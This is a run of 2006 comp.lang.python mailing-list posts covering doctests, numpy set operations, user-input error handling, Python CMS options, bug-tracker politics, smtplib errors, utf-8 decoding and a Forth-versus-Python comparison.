> - modify the interfase to allow that kind of checking

Fortunately, I don't control the specification. ;-)

> - use a standard unit test

I'm making some progress in removing the boilerplate from the
doctests by supplying globs to the testmod function.

Thanks for your suggestion.

--
Neil Cerutti


From george.sakkis at gmail.com  Mon Oct 23 13:20:16 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 23 Oct 2006 10:20:16 -0700
Subject: Set operations in Numeric
References: <1161617351.740540.37590@b28g2000cwb.googlegroups.com>
	<mailman.988.1161620250.11739.python-list@python.org>
Message-ID: <1161624015.973510.276030@i42g2000cwa.googlegroups.com>

Robert Kern wrote:
> George Sakkis wrote:
> > Is there a way to handle numeric (or numarray or numpy) arrays as sets
> > and compute efficiently their intersection, union, etc. ? I hope there
> > is a faster way than s = array(set(A) & set(B)). Can this be done with
> > masked arrays maybe ? I've never used them though and browsing through
> > the docs didn't make clear if it is possible.
>
> You'll probably want to ask such questions on the numpy list:
>
>    http://www.scipy.org/Mailing_Lists
>
> Robert Cimrman has implemented a number of set operations based on sorting.
>
>    http://svn.scipy.org/svn/scipy/trunk/Lib/sandbox/arraysetops/arraysetops.py

Thank you so much, these fit the bill perfectly !

George



From rasmussen.bryan at gmail.com  Tue Oct 10 03:30:48 2006
From: rasmussen.bryan at gmail.com (bryan rasmussen)
Date: Tue, 10 Oct 2006 09:30:48 +0200
Subject: OT: Sarcasm and irony (was: Dive Into Java?)
In-Reply-To: <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
Message-ID: <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>

> >
> > > E. g. [in Java there is] no operator overloading, but "+"
> > > concatenation of strings. What if you'd like to implement your own
> > > string-derived class? Ah, never mind. Operator overloading is
> > > bad(tm) ;) <= Irony, definitely
> >
> > Definitely? That one strikes me more as sarcasm.
>

Well irony originally started out as a very specific concept of the
Ancient Greek drama, this is what we nowadays refer to as Dramatic
Irony but it is the original irony. Irony then became a literary
concept for plot elements similar to Dramatic irony in books, or a
weaker type of the Dramatic irony found in the plays of Shakespeare.
People then noticed that life was at times ironic in the literary
manner. Nowadays the use of the word irony has degenerated to by
pretty much synonymous with sarcasm.

Cheers,
Bryan Rasmussen


From jstroud at mbi.ucla.edu  Fri Oct  6 17:32:08 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 06 Oct 2006 21:32:08 GMT
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
Message-ID: <sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>

sam wrote:
> hi all,
> 
> i'm starting to put together a program to simulate the performance of
> an investment portfolio in a monte carlo manner doing x thousand
> iterations and extracting data from the results.
> 
> i'm still in the early stages, and am trying to code something simple
> and interactive to get the percentages of the portfolio in the five
> different investment categories. i thought i'd get in with the error
> handling early so if someone types in something wrong (like a word), or
> the numbers don't add up to 100%, the error would be caught immediately
> and the user sent back to the start of the loop. granting that there
> may be better ways of doing this, if i decide that i do want to do it
> like this (i.e. a single error requires all data to be re-entered, not
> unreasonable for only five items), is this a good way of doing it or a
> confusing way of doing it from the perspective of readability and
> maintenance:
> 
> while True:
> 
> 	cash, bond, blue, tech, dev = 0,0,0,0,0
> 	check=False
> 
> 	try:
> 		cash=input('Please enter a cash percentage for the portfolio: ')
> 	except NameError:
> 		print 'That is not a number. Please start again and remember to enter
> integers.'
> 	else:
> 		try:
> 			bond=input('Please enter a bond portfolio for the portfolio: ')
> 
> 		except NameError:
> 			print 'That is not a number. Please start again and remember to
> enter integers.'
> 		else:
> 			try:
> 				blue=input('Please enter a blue-chip percentage for the portfolio:
> ')
> 			except NameError:
> 				print 'That is not a number. Please start again and remember to
> enter integers.'
> 			else:
> 				try:
> 					tech=input('Please enter a tech stocks percentage for the
> portfolio: ')
> 				except NameError:
> 					print 'That is not a number. Please start again and remember to
> enter integers.'
> 				else:
> 					try:
> 						dev=input('Please enter a developing countries index for the
> portfolio: ')
> 						check=True
> 					except NameError:
> 						print 'That is not a number. Please start again and remember to
> enter integers.'
> 
> 	if cash+bond+blue+tech+dev==100:
> 		break
> 	if cash+bond+blue+tech+dev!=100 and check!= False:
> 		print 'Those numbers do not sum to 100. Please start again.'
> 
> 
> 
> i know it's a bit verbose, but it was the nested try clauses i was
> really wondering about. is the code immediate legible to experienced
> python users? or does it look like gibberish at first?
> 
> just hoped for some fresh eyes on it.
> 
> thanks,
> 
> sam
> 
> PS making check=True just saves the code from printing 'those numbers
> don't sum to 100' if they haven't all been entered, which looks kind of
> silly.
> 

It looks pretty rough. I think tabs are a very bad idea. Patently. Tabs 
should be reserved for tables, for which tabs were named. If they were 
meant to be used for indenting, they would have been named "indenters".

Try blocks in my opinion are a good idea but they need to be done 
correctly. You should also consider thinking more in terms of procedural 
programming than linear.

Also, the best way would be by gui. See this book for the best resource 
(IMHO) for python gui programming:

          http://www.manning.com/grayson/

I think the following is much better technique and is more fun than 
laborious to code:


def get_pcts(prompts):
   prompts = ['gross product', 'repleat divisional', 'sales quota']
   pcts = [get_pct(prompt) for prompt in prompts]
   sum_pcts = sum(pcts)
   if (sum_pcts > 100.0001) or (sum_pcts < 99.999):
     raise ValueError, "Values didn't add to 100."
   return pcts

def get_pct(pct_type):
   pct = raw_input('Input percent of %s:' % pct_type)
   return float(pct)

def get_values():
   prompts = ['gross product', 'net outsource', 'sales quota']
   while True:
     try:
       pcts = get_pcts(prompts)
       return dict(zip(prompts, pcts))
     except ValueError, e:
       print e
       print 'Try again dude.'

"""
Here's a test
 >>> print get_values()
Input percent of gross product:21
Input percent of repleat divisional:22
Input percent of sales quota:57
{'sales quota': 57.0, 'gross product': 21.0, 'net outsource': 22.0}
"""

James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From oshecho at gmail.com  Sun Oct 22 07:58:41 2006
From: oshecho at gmail.com (Echo)
Date: Sun, 22 Oct 2006 07:58:41 -0400
Subject: Python and CMS
Message-ID: <910885da0610220458l35c911f6x6831b2bf8e618c25@mail.gmail.com>

I am going to start working on a church website. And since I like
python, I decided to use WSGI. However, I later found out about all
the different CMS's in php. So I wondered if there where any in
python.

Sadly, I only found Plone, skeletonz, and PyLucid (If there is any
more, please let me know). Of those three, only PyLucid supports WSGI
and it didn't look very nice to me.
Both Plone and skeletonz looked very nice. However, they can't be
hosted on a regular web host(at least to my knowledge) since they run
as the web server themselves. So hosting would cost more, at least 2-3
times more from what I've seen.

So I'm thinking of making a python CMS based on WSGI. I'm now trying
to figure out a few things like the best way to store the content and
how to manage/use plugins. For storing the content, the only ways I
know of are as files or in a database. But I'm not sure what would be
better. And as for how to do plugings, I plan on looking at Plone and
skeletonz.

As for working with WSGI, I have found
Colubrid(http://wsgiarea.pocoo.org/colubrid/) and
Paste(http://pythonpaste.org/). I was wondering if anyone knew of any
other libraries that make working with WSGI easier. Also, I wondering
if anyone would like to share their experiences of working with those.


ps. I know that this is a big and complicated project. But no matter
how far I get, it will be fun because its Python:)

-- 
"Now that I am a Christian I do not have moods in which the whole
thing looks very improbable: but when I was an atheist I had moods in
which Christianity looked terribly probable."
  -C. S. Lewis

-Echo


From fuzzyman at gmail.com  Sun Oct 15 18:28:26 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 15 Oct 2006 15:28:26 -0700
Subject: SPE for 2.5?
In-Reply-To: <1160950716.385705.161880@b28g2000cwb.googlegroups.com>
References: <NJQXg.106$1n3.2880@news.tufts.edu>
	<1160950716.385705.161880@b28g2000cwb.googlegroups.com>
Message-ID: <1160951306.307324.293710@h48g2000cwc.googlegroups.com>


SPE - Stani's Python Editor wrote:
> John Salerno schreef:
>
> > Does anyone know if SPE is compatible with Python 2.5? I don't see a
> > Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.
> >
> > Thanks.
>
> It should be. Contact me and I'll help you to make a 2.5 installer,
> which I'll gladly provide for download. I use SPE on daily basis
> myself.

Hello Stani,

Work on it does seem to have slowed down.

When do you expect your new project to start bearing fruit ?

Fuzzyman
http://www.voidspace.org.uk


> 
> Stani



From horpner at yahoo.com  Thu Oct 12 15:34:07 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 12 Oct 2006 21:34:07 +0200
Subject: paseline(my favorite simple script): does something similar exist?
References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com>
	<1160681166.890803.169610@c28g2000cwb.googlegroups.com>
	<1160681521.103052.49980@i42g2000cwa.googlegroups.com>
Message-ID: <slrneit67c.1d8.horpner@FIAD06.norwich.edu>

On 2006-10-12, Pierre Quentel <quentel.pierre at wanadoo.fr> wrote:
>> >>> parseline( 'A 1 22 3 6', 'sdxf')
>> ['A', 1, None, 3.0]
>
> Yes, but in this case the OP expects to get ['A',1,3.0]
>
> A shorter version :
>
> def parseline(line,format):
>     xlat = {'x':None,'s':str,'f':float,'d':int,'i':int}
>     result = [ xlat[f](w) for f,w in zip(format,line.split())
>         if xlat.get(f,None) ]
>     if len(result) == 0: return None
>     if len(result) == 1: return result[0]
>     return result

I don't like the name, since it actually seems to be parsing a
string.

-- 
Neil Cerutti


From MonkeeSage at gmail.com  Sat Oct  7 01:15:10 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 6 Oct 2006 22:15:10 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.1.1160189272.11739.python-list@python.org>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
Message-ID: <1160198110.064741.133700@k70g2000cwa.googlegroups.com>



On Oct 6, 8:23 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> if 2 in [1,2,3]: print "Use the same (in) operator"
> elif 'E' in ('E','r','i','k'): print "Works for any sequence"
> elif 'o' in 'hello': print "Even strings"

This isn't really analogous is it? For "somedict.has_key(k)" or "k in
somedict", you don't need to know the value of somedict[k] ahead of
time. So you can avoid KeyError by asking if the key exists first
before trying to get the value. Wouldn't that be more like this for
lists (and other sequences):

def has_index(seq, index):
  try:
    seq[index]
    return True
  except IndexError:
    return False

I've often wondered why there is no built-in method like that for
sequence objects. And also why not the equivalent of dict.get for other
sequences:

def get(seq, index, default=None):
  if has_index(seq, index):
    return seq[index]
  else:
    return default

Seems useful...

Regards,
Jordan



From fredrik at pythonware.com  Fri Oct 20 05:27:49 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 11:27:49 +0200
Subject: help with my first use of a class
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<4538942b$0$31252$426a74cc@news.free.fr>
Message-ID: <eha4ql$igf$1@sea.gmane.org>

Bruno Desthuilliers wrote:

> First, notice that you *don't* need a class here to avoid globals.
> Learning to use function as *functions* (ie: taking arguments and
> returning values) instead of procedure would help:
>
> def random_quote(cursor):
>  c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery")

make that "cursor.execute" (etc)

</F> 





From ilias at lazaridis.com  Wed Oct  4 19:25:24 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 4 Oct 2006 16:25:24 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
Message-ID: <1160004324.651743.280590@b28g2000cwb.googlegroups.com>


Giovanni Bajo wrote:
> Hello,
>
> I just read this mail by Brett Cannon:
> http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> where the "PSF infrastracture committee", after weeks of evaluation, recommends
> using a non open source tracker (called JIRA - never heard before of course)
> for Python itself.
>
> Does this smell "Bitkeeper fiasco" to anyone else than me?
> --
> Giovanni Bajo

Fascinating.

The python foundation suggests a non-python non-open-source bugtracking
tool for python.

It's like saying: "The python community is not able to produce the
tools needed to drive development of python forward."

Anyway. The whole selection process is intransparent.

The commitee should have stated "goals" and "requirements" with a
public verification of the tools against them.

-

http://case.lazaridis.com/wiki/Tracking

.



From onurb at xiludom.gro  Mon Oct 16 05:57:06 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 16 Oct 2006 11:57:06 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <mailman.466.1160759962.11739.python-list@python.org>
References: <mailman.259.1160543174.11739.python-list@python.org>	<452cab5d$0$5294$426a74cc@news.free.fr>	<463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com>	<egic47$irg$1@sea.gmane.org>	<mailman.296.1160558036.11739.python-list@python.org>	<452cd0df$0$11417$426a74cc@news.free.fr>	<452fb8cf$1@nntp0.pdx.net>
	<mailman.466.1160759962.11739.python-list@python.org>
Message-ID: <45335773$0$12918$426a34cc@news.free.fr>

Fredrik Lundh wrote:
> Scott David Daniels wrote:
> 
>> Nope.  idempotent: f(f(x)) = f(x)
>> That is, after doing it once, repeating it won't hurt.
> 
> http://en.wikipedia.org/wiki/Idempotence_%28computer_science%29
> 
> </F>
> 
Thank you (Scott and Fredrik) for the correction.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From bj_666 at gmx.net  Sat Oct 28 05:39:36 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Sat, 28 Oct 2006 11:39:36 +0200
Subject: Where do nested functions live?
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>
	<mailman.1389.1162022388.11739.python-list@python.org>
	<pan.2006.10.28.09.27.23.186368@REMOVE.THIS.cybersource.com.au>
Message-ID: <pan.2006.10.28.09.39.35.171799@gmx.net>

In <pan.2006.10.28.09.27.23.186368 at REMOVE.THIS.cybersource.com.au>, Steven
D'Aprano wrote:

> Does this mean I'm wasting my time writing doc strings for nested
> functions? If there is no way of accessing them externally, should I make
> them mere # comments?

Whats the difference in "wasted time" between using """ or # as delimiters
for the explanation what the function is doing!?  Or do you ask if you
should not document inner functions at all?  Someone might read the source
and be very happy to find docs(trings) there.

And of course there are inner functions that are returned from the outer
one and on those objects it is possible to inspect and read the docs.

Ciao,
	Marc 'BlackJack' Rintsch


From fdu.xiaojf at gmail.com  Mon Oct 16 03:31:37 2006
From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com)
Date: Mon, 16 Oct 2006 15:31:37 +0800
Subject: How to send E-mail without an external SMTP server ?
In-Reply-To: <1160981517.845397.173540@h48g2000cwc.googlegroups.com>
References: <mailman.553.1160976477.11739.python-list@python.org>
	<1160981517.845397.173540@h48g2000cwc.googlegroups.com>
Message-ID: <45333559.7020203@gmail.com>

Rob Wolfe wrote:
> fdu.xiaojf at gmail.com wrote:
>   
>> Hi,
>>
>> I just want to send a very simple email from within python.
>>
>> I think the standard module of smtpd in python can do this, but I
>> haven't found documents about how to use it after googleing. Are there
>> any examples of using smtpd ? I'm not an expert,so I need some examples
>> to learn how to use it.
>>     
>
> See standard documentation:
>
> http://docs.python.org/lib/SMTP-example.html
>
> HTH,
> Rob
>
>   

I have read the example and copied the code and save as send.py, then I 
run it. Here is the output:
$ python send.py
From: fdu.xiaojf at gmail.com
To: fdu.xiaojf at gmail.com
Enter message, end with ^D (Unix) or ^Z (Windows):
just a test from localhost
Message length is 82
send: 'ehlo [202.127.19.74]\r\n'
reply: '250-WebMail\r\n'
reply: '250 AUTH plain\r\n'
reply: retcode (250); Msg: WebMail
AUTH plain
send: 'mail FROM:<fdu.xiaojf at gmail.com>\r\n'
reply: '502 negative vibes\r\n'
reply: retcode (502); Msg: negative vibes
send: 'rset\r\n'
reply: '502 negative vibes\r\n'
reply: retcode (502); Msg: negative vibes
Traceback (most recent call last):
 File "send.py", line 26, in ?
   server.sendmail(fromaddr, toaddrs, msg)
 File "/usr/lib/python2.4/smtplib.py", line 680, in sendmail
   raise SMTPSenderRefused(code, resp, from_addr)
smtplib.SMTPSenderRefused: (502, 'negative vibes', 'fdu.xiaojf at gmail.com')


Do I have to setup a smtp server on my localhost ?

Thanks a lot.

xiaojf



From r3bol at yahoo.com  Sun Oct  8 15:04:34 2006
From: r3bol at yahoo.com (r3bol at yahoo.com)
Date: 8 Oct 2006 12:04:34 -0700
Subject: Newbie - Stuck
In-Reply-To: <1160311884.033532.173480@i42g2000cwa.googlegroups.com>
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
	<1160311884.033532.173480@i42g2000cwa.googlegroups.com>
Message-ID: <1160334274.720136.44090@h48g2000cwc.googlegroups.com>


Thanks everyone. I guess I was a little quick to think I could jump
straight into Python. I understand the principals of what was said but
not the code just yet. I was always under the impression that python
was a cleaned up version of perl. I guess this excercise put me
straight! I will try and get through a lot more beginners tutorials
before attempting a stunt like that again ;)
Python has surprised me already (a good thing!)
Regards.



From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:21:24 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:21:24 GMT
Subject: cleaner way to write this?
In-Reply-To: <7xzmbkgq5h.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<qHO%g.153$1n3.4133@news.tufts.edu>
	<7xzmbkgq5h.fsf@ruckus.brouhaha.com>
Message-ID: <UOO%g.155$1n3.3672@news.tufts.edu>

Paul Rubin wrote:

> Right.  The above handles that case, I believe. 

Oh, you're right! It's amazing how this went from a simple, two-line 
method to a big mess of error-checking. :)


From steve at holdenweb.com  Tue Oct 24 07:12:18 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Oct 2006 12:12:18 +0100
Subject: http call.
In-Reply-To: <1161673574.597088.135220@h48g2000cwc.googlegroups.com>
References: <1161673574.597088.135220@h48g2000cwc.googlegroups.com>
Message-ID: <ehkscf$opj$1@sea.gmane.org>

Kirt wrote:
> Hi!
> 
> I have a php program (test.php) on a server. eg:
> http://abc.xyz.com/test.php
> 
> I need my python scripts to make a http call to these program pass some
> data and get back a secret key from the php program..
> 
> Could anyone help me this, what will i need to make a http call to the
> php application?
> 

import urllib
nf = urllib.urlopen('http://abc.xyz.com/test.php')
data = nf.read()

Should get you started. Look for the "mechanize" and "ClientForm" (?) 
modules to help with the site interactions. It doesn't matter what 
language the server uses: you will be talking HTTP to it!

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From skip at pobox.com  Wed Oct  4 15:43:01 2006
From: skip at pobox.com (skip at pobox.com)
Date: Wed, 4 Oct 2006 14:43:01 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg1187$adg$3@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<45225A1C.8060106@v.loewis.de>
	<KGJUg.134415$_J1.895519@twister2.libero.it>
	<1159975907.085831.44790@k70g2000cwa.googlegroups.com>
	<17699.55812.728555.796343@montanaro.dyndns.org>
	<eg1187$adg$3@sea.gmane.org>
Message-ID: <17700.3781.224140.588827@montanaro.dyndns.org>


    >> No, actually switching trackers can be one big pain in the ass.  You
    >> probably aren't aware of how hard it's been for the Python
    >> development team (I think Martin v. Loewis, mostly) to get tracker
    >> data out of SF.

    Fredrik> http://effbot.org/zone/sandbox-sourceforge.htm

Thanks for the memory jog.  Before you wrote your scraper/downloader I seem
to recall there were several only-semi-successful attempts to get SF to
themselves dump the tracker data for us.  That was what I was referring to.

Skip




From grahamd at dscpl.com.au  Tue Oct  3 03:06:41 2006
From: grahamd at dscpl.com.au (grahamd at dscpl.com.au)
Date: 3 Oct 2006 00:06:41 -0700
Subject: CGI -> mod_python
References: <1159852046.487836.266980@m7g2000cwm.googlegroups.com>
Message-ID: <1159859201.799152.126810@k70g2000cwa.googlegroups.com>


bernhard.heinzel at gmail.com wrote:
> Hi,
>
> it is a kind of nooby question. Is there a way to transfer a CGI python
> script to mod_python without rewriting the code?

Did you look in the mod_python documentation?

  http://www.modpython.org/live/current/doc-html/hand-cgi.html

It certainly isn't the preferred way of using mod_python. You really
should consider porting it properly to either mod_python or as
someone else suggested, WSGI.

Graham



From kw at kevin-walzer.com  Tue Oct 24 13:24:12 2006
From: kw at kevin-walzer.com (Kevin Walzer)
Date: Tue, 24 Oct 2006 13:24:12 -0400
Subject: python GUIs comparison (want)
In-Reply-To: <453e3ffa$0$26733$426a74cc@news.free.fr>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>
	<453E3370.9060008@kevin-walzer.com>
	<453e3c5a$0$23254$426a74cc@news.free.fr>
	<453E3F0B.6070606@kevin-walzer.com>
	<453e3ffa$0$26733$426a74cc@news.free.fr>
Message-ID: <453E4C3C.6030001@kevin-walzer.com>

Christophe wrote:
> Kevin Walzer a ?crit :
>> Christophe wrote:
>>
>>> Since when is "based on C++ toolkit" a con?
>>>
>>
>> If you don't know C++ (as is the case with me), then it's difficult to
>> do a C++-to-Python translation in looking at code examples.
> 
> As if a toolkit based on C would be much easier.
> 
> In fact, I would even say that C++ -> Python is much much easier than C
> -> Python for GUI toolkits.

Well, Tk isn't *based* on C (it's written in C, but it doesn't wrap a
lower-level GUI framework for C). Tk is my preferred toolkit. But then,
I'm a Tcl developer by background, and less experienced with Python.

For what it's worth, the reason I learned Tcl before Python is because I
wanted to learn a GUI package that was native/specific to the
programming language in question, and Tcl/Tk is the only instance of
this in scripting languages. With Python, as far as I know, every GUI
toolkit in question was developed for another language (Tcl, C/C++,
etc.), and is wrapped by Python.  It makes learning GUI programming in
Python a daunting task for a newbie.

-- 
Kevin Walzer
Code by Kevin
http://www.codebykevin.com


From python.sam at googlemail.com  Fri Oct  6 19:53:19 2006
From: python.sam at googlemail.com (sam)
Date: 6 Oct 2006 16:53:19 -0700
Subject: error handling in user input: is this natural or just laborious
In-Reply-To: <pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>
References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com>
	<sXzVg.9551$vJ2.7097@newssvr12.news.prodigy.com>
	<pmAVg.9558$vJ2.8276@newssvr12.news.prodigy.com>
Message-ID: <1160178799.914895.28100@k70g2000cwa.googlegroups.com>

you're right, of course. it occurred to me that, even if it were
manageable for a few items, it would quickly become absurd as the
number of items grew. this:

def get_pct():
	while True:
		pct_list=[['cash', 0], ['bond', 0], ['blue', 0], ['tech', 0], ['dev',
0]]
		total=0
		for i in range(len(pct_list)):
			pct_list[i][1]=input('Please enter the percentage value for %s: '
%pct_list[i][0])
			total+=pct_list[i][1]
		if total == 100:
			return pct_list
			break
		else:
			print "You've messed up, do it again..."

is much better, and easily maintainable by adding to the assignment for
pct_list. still leaves me with checking for strings though, in case
someone types 'donut' at the prompt...



From fulvio at tm.net.my  Thu Oct 26 14:51:43 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 27 Oct 2006 02:51:43 +0800
Subject: question about True values
In-Reply-To: <grO%g.152$1n3.4134@news.tufts.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <200610270251.43700.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Thursday 26 October 2006 02:56, John Salerno wrote:
> ?>>> s = 'hello'
> ?>>> s == True
> False
> ?>>> if s:
> ????????print 'hi'
>
this isn't only a python behavior.
the ?"if" test is valid for all non-zero variables. only None, 0 and False 
make the condition to jump over.

F




From codecraig at gmail.com  Wed Oct 18 10:26:25 2006
From: codecraig at gmail.com (abcd)
Date: 18 Oct 2006 07:26:25 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <mailman.687.1161179634.11739.python-list@python.org>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
	<mailman.687.1161179634.11739.python-list@python.org>
Message-ID: <1161181585.245045.41680@b28g2000cwb.googlegroups.com>

Fredrik Lundh wrote:
> to repeat myself:
>
>     here's a tool that lets you use VNC to capture the screen, and then convert
>     the result to a flash animation:
>
>        http://www.unixuser.org/~euske/vnc2swf/
>
> </F>

is there a way to make animated GIFs with python?  vnc2swf is to much
for what i was hoping.  i have no problem with installing python
packages, but having to use VNC is a bit much.

thanks.



From BjornSteinarFjeldPettersen at gmail.com  Mon Oct 30 02:24:48 2006
From: BjornSteinarFjeldPettersen at gmail.com (thebjorn)
Date: 29 Oct 2006 23:24:48 -0800
Subject: Is there a way to get utf-8 out of a Unicode string?
Message-ID: <1162193088.091894.269630@m73g2000cwd.googlegroups.com>

I've got a database (ms sqlserver) that's (way) out of my control,
where someone has stored utf-8 encoded Unicode data in regular varchar
fields, so that e.g. the string 'Bl?b?rsyltet?y' is in the database
as 'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' :-/

Then I read the data out using adodbapi (which returns all strings as
Unicode) and I get u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'. I couldn't
find any way to get back to the original short of:

  def unfk(s):
      return eval(repr(s)[1:]).decode('utf-8')

i.e. chopping off the u in the repr of a unicode string, and relying on
eval to interpret the \xHH sequences.

Is there a less hack'ish way to do this?

-- bjorn



From werty at swissinfo.org  Thu Oct 12 01:03:58 2006
From: werty at swissinfo.org (werty)
Date: 11 Oct 2006 22:03:58 -0700
Subject: Standard Forth versus Python: a case study
In-Reply-To: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
Message-ID: <1160629438.895503.225980@c28g2000cwb.googlegroups.com>


 Apples/oranges ?   programmers are making very little $$ today .
   Thats software !   No one is makin money on obsolete Forth ,
so why a comparisom ?

  Ultimately the best OpSys will be free and  millions of lines of code
 obsoleted .  Because no one can protect intellectual property , its
simply too costly for a Government to do this .

  Notice the crypto fiasco , the USA govt forbad export of SSL and
in short order Australia gave the world a free SSLeasy !

   This is software .  No one will , for long , own software .
 Microsoft and Linux will die in 24 months .   No hardware will
produce money/profits using them .

  Because we have a new hardware competitor , that obsoletes the BIOS
 chip , North bridge/South bridge USB helpers , NICs .
  No mo PNP (Plug_and_Pray) .
  In 2 chips ( CPU /SoC and LCD controller) it will be faster than
 a PC .  100's have allready written HDD drivers and haven't yet
 free'd them .  But when others give free , what good do it to
 hold yours !    You look stupid selling what others improve and
free .   Trying to sell what others find easy to create !
  Intel made hardware too hard to program , ARM is easy .
  Python wont last on ARM , for WCE and Linux will be tossed .
  A simpler structured method will be used to customise
  Browsers . There will be 2 columns , one on left will be main/orig
but on the Right will have hyperlink result .  This way ya dont have
 to go back to compare !   side by side .
  Text editors will also work this way . You will read orig in left
columns
 and 'edit'/annotate  your stuff to the Right columns .

  Sun microsystems et all ( the ones we seldom think about ) will
 all be obsoleted , bankrupted , their hardware surplused .
  No more h/w servers .
 There will be no high speed 64 bit boxes in the future .
  The Pocket PC will do work you could not  imagine !
  All will have 100 GB HDD , VGA LCD , USBH/USBD , WIFI N
  and no WERTY  keyboard !  full GUI ...
  ethernet and firewire and rs232 will die

  Why not "see" the future ?
 No Linux ,no WXP , no C+ , no PC .....




John Doty wrote:
> I realized that I have a little job on the table that is a fine test of
> the Python versus Standard Forth code availability and reusability issue.
>
> Note that I have little experience with either Python or Standard Forth
> (but I have much experience with a very nonstandard Forth). I've noodled
> around a bit with both gforth and Python, but I've never done a serious
> application in either. In my heart, I'm more of a Forth fan: Python is a
> bit too much of a black box for my taste. But in the end, I have work to
> get done.
>
> The problem:
>
> I have a bunch of image files in FITS format. For each raster row in
> each file, I need to determine the median pixel value and subtract it
> from all of the pixels in that row, and then write out the results as
> new FITS files.
>
> This is a real problem I need to solve, not a made-up toy problem. I was
> originally thinking of solving it in C (I know where to get the pieces
> in that language), but it seemed like a good test problem for the Python
> versus Forth issue.
>
> I looked to import FITS reading/writing, array manipulation, and median
> determination. From there, the solution should be pretty easy.
>
> So, first look for a median function in Python. A little googling finds:
>
> http://www.astro.cornell.edu/staff/loredo/statpy/
>
> Wow! This is good stuff! An embarrassment of riches here! There are even
> several FITS modules, and I wasn't even looking for those yet. And just
> for further gratification, the page's author is an old student of mine
> (but I'll try not to let this influence my attitude). So, I followed the
> link to:
>
> http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html
>
>  From there, I downloaded stats.py, and the two other modules the page
> says it requires, and installed them in my site-packages directory. Then
> "from stats import median" got me a function to approximately determine
> the median of a list. It just worked. The approximation is good enough
> for my purposes here.
>
> Pyfits required a little more resourcefulness, in part because STSCI's
> ftp server was down yesterday, but I got it installed too. It helps that
> when something is missing, the error message gives you a module name. It
> needs the numarray module, so I got array manipulation as a side effect.
>
> I haven't finished the program, but I've tried out the pieces and all
> looks well here.
>
> OK, now for Forth. Googling for "forth dup swap median" easily found:
>
> http://www.taygeta.com/fsl/library/find.seq
>
> At first blush, this looked really good for Forth. The search zeroed in
> on just what I wanted, no extras. The algorithm is better than the one
